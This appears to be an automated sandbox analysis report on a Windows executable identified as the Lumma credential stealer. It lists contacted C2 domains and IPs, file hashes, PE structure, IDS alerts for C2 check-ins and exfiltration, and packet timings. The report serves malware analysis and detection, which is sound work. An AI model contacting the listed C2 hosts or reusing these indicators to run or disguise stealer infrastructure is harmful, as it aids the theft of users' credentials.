https://support.mozilla.org/products/firefoxgro.all	XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/api#%	XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482065447.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533440267.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581626
Start date and time:	2024-12-28 10:03:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XYQ1pqHNiT.exe renamed because original name is a hash value
Original Sample Name:	1b99c467986cf6d65d3c4d3ed83b0479.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@12/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target XYQ1pqHNiT.exe, PID 3732 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:03:57	API Interceptor	15x Sleep call for process: XYQ1pqHNiT.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.157.254	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse
23.55.153.106	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
steamcommunity.com	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
CLOUDFLARENETUS	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	TNyOrM6mIM.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	TNyOrM6mIM.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947587266662839
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XYQ1pqHNiT.exe
File size:	1'792'512 bytes
MD5:	1b99c467986cf6d65d3c4d3ed83b0479
SHA1:	701c4dc0099a78085e39599dca83dc3941f43eb7
SHA256:	d6cb7d9676cda25adb0dbfef2bc3467cd0c7ccdf8bf955688f7e2dddbc31a2f9
SHA512:	71ecda42151a00831bada7ab224abfcbad5ddbb2bee0a1beb30109abb77cdaab0ea2621d3ff1f249deababd6b00ed0a58751ae431506d678d9013f69c671d45c
SSDEEP:	49152:K+ZdP2R3JyBkNO/40NrStnjDlCaAFH2Y+prj3Hi:5Ps3okdqrmoaK2N9S
TLSH:	CB8533D52E39B1D7EB2DB439AD2CA013FF3696580DB4B370AD947EC580A5BB35442813
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................. G...........@..........................PG...........@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x872000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5060EC467Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	43c231b6718a9a73f5d4f0e1c59ccb0b	False	0.999374489379085	data	7.970551524847764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x290000	0x200	c1721a00c20977e55ffe2d10f44c9641	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cyhvihmt	0x2e5000	0x18c000	0x18ba00	f84713f3988aa9532d9562e589c2feb3	False	0.9944744766982623	data	7.953902379710209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bcpeiayw	0x471000	0x1000	0x400	88eebf66f8feda6654d1b12ea43516bf	False	0.80859375	data	6.101365362523846	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x472000	0x3000	0x2200	a1210123c092b9bd0293ce00c9458aa8	False	0.00666360294117647	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T10:03:58.754487+0100	2058582	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)	1	192.168.2.7	56451	1.1.1.1	53	UDP
2024-12-28T10:03:58.898931+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.7	53955	1.1.1.1	53	UDP
2024-12-28T10:03:59.041972+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.7	62631	1.1.1.1	53	UDP
2024-12-28T10:03:59.184258+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.7	61136	1.1.1.1	53	UDP
2024-12-28T10:03:59.327070+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.7	52788	1.1.1.1	53	UDP
2024-12-28T10:03:59.469922+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.7	52836	1.1.1.1	53	UDP
2024-12-28T10:03:59.615377+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.7	60816	1.1.1.1	53	UDP
2024-12-28T10:03:59.759044+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.7	53628	1.1.1.1	53	UDP
2024-12-28T10:03:59.904328+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.7	54860	1.1.1.1	53	UDP
2024-12-28T10:04:01.684890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	23.55.153.106	443	TCP
2024-12-28T10:04:02.661548+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49700	23.55.153.106	443	TCP
2024-12-28T10:04:04.256539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	172.67.157.254	443	TCP
2024-12-28T10:04:04.928876+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	172.67.157.254	443	TCP
2024-12-28T10:04:04.928876+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	172.67.157.254	443	TCP
2024-12-28T10:04:06.219985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-28T10:04:07.524910+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-28T10:04:07.524910+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-28T10:04:09.018831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-28T10:04:11.702527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	172.67.157.254	443	TCP
2024-12-28T10:04:13.221949+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49705	172.67.157.254	443	TCP
2024-12-28T10:04:15.021959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49716	172.67.157.254	443	TCP
2024-12-28T10:04:18.322260+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49725	172.67.157.254	443	TCP
2024-12-28T10:04:21.408876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49732	172.67.157.254	443	TCP
2024-12-28T10:04:26.560187+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49748	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 10:04:00.193757057 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:00.193803072 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:00.193869114 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:00.197102070 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:00.197114944 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:01.684763908 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:01.684890032 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:01.698435068 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:01.698471069 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:01.698877096 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:01.746929884 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:01.787331104 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661587000 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661613941 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661647081 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661672115 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661695004 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661722898 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.661781073 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.661818981 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.666085958 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.799679041 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.799720049 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.799757004 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.799776077 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.800036907 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.841376066 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.841419935 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.841489077 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.841523886 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.841789007 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.842586040 CET	49700	443	192.168.2.7	23.55.153.106
Dec 28, 2024 10:04:02.842616081 CET	443	49700	23.55.153.106	192.168.2.7
Dec 28, 2024 10:04:02.996140003 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:02.996184111 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:02.996385098 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:02.996598005 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:02.996608973 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.256472111 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.256539106 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.259551048 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.259560108 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.259815931 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.261102915 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.261187077 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.261214018 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.928889036 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.928976059 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.929162979 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.929282904 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.929305077 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.929316998 CET	49701	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.929322958 CET	443	49701	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.962493896 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.962522984 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:04.962611914 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.962889910 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:04.962908030 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:06.219854116 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:06.219985008 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:06.221620083 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:06.221637964 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:06.221944094 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:06.223335981 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:06.223364115 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:06.223419905 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.524923086 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.524970055 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.524996996 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525017977 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.525022984 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525033951 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525069952 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.525074959 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525116920 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.525120974 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525567055 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525603056 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525618076 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.525624037 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.525665998 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.525671005 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.575951099 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.575961113 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.622807980 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.644674063 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.648787022 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.648890972 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.648902893 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.657115936 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.657202959 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.657370090 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.657392979 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.657418966 CET	49702	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.657423973 CET	443	49702	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.807497978 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.807540894 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:07.807672024 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.808068037 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:07.808088064 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.018635035 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.018831015 CET	49703	443	192.168.2.7	172.67.157.254
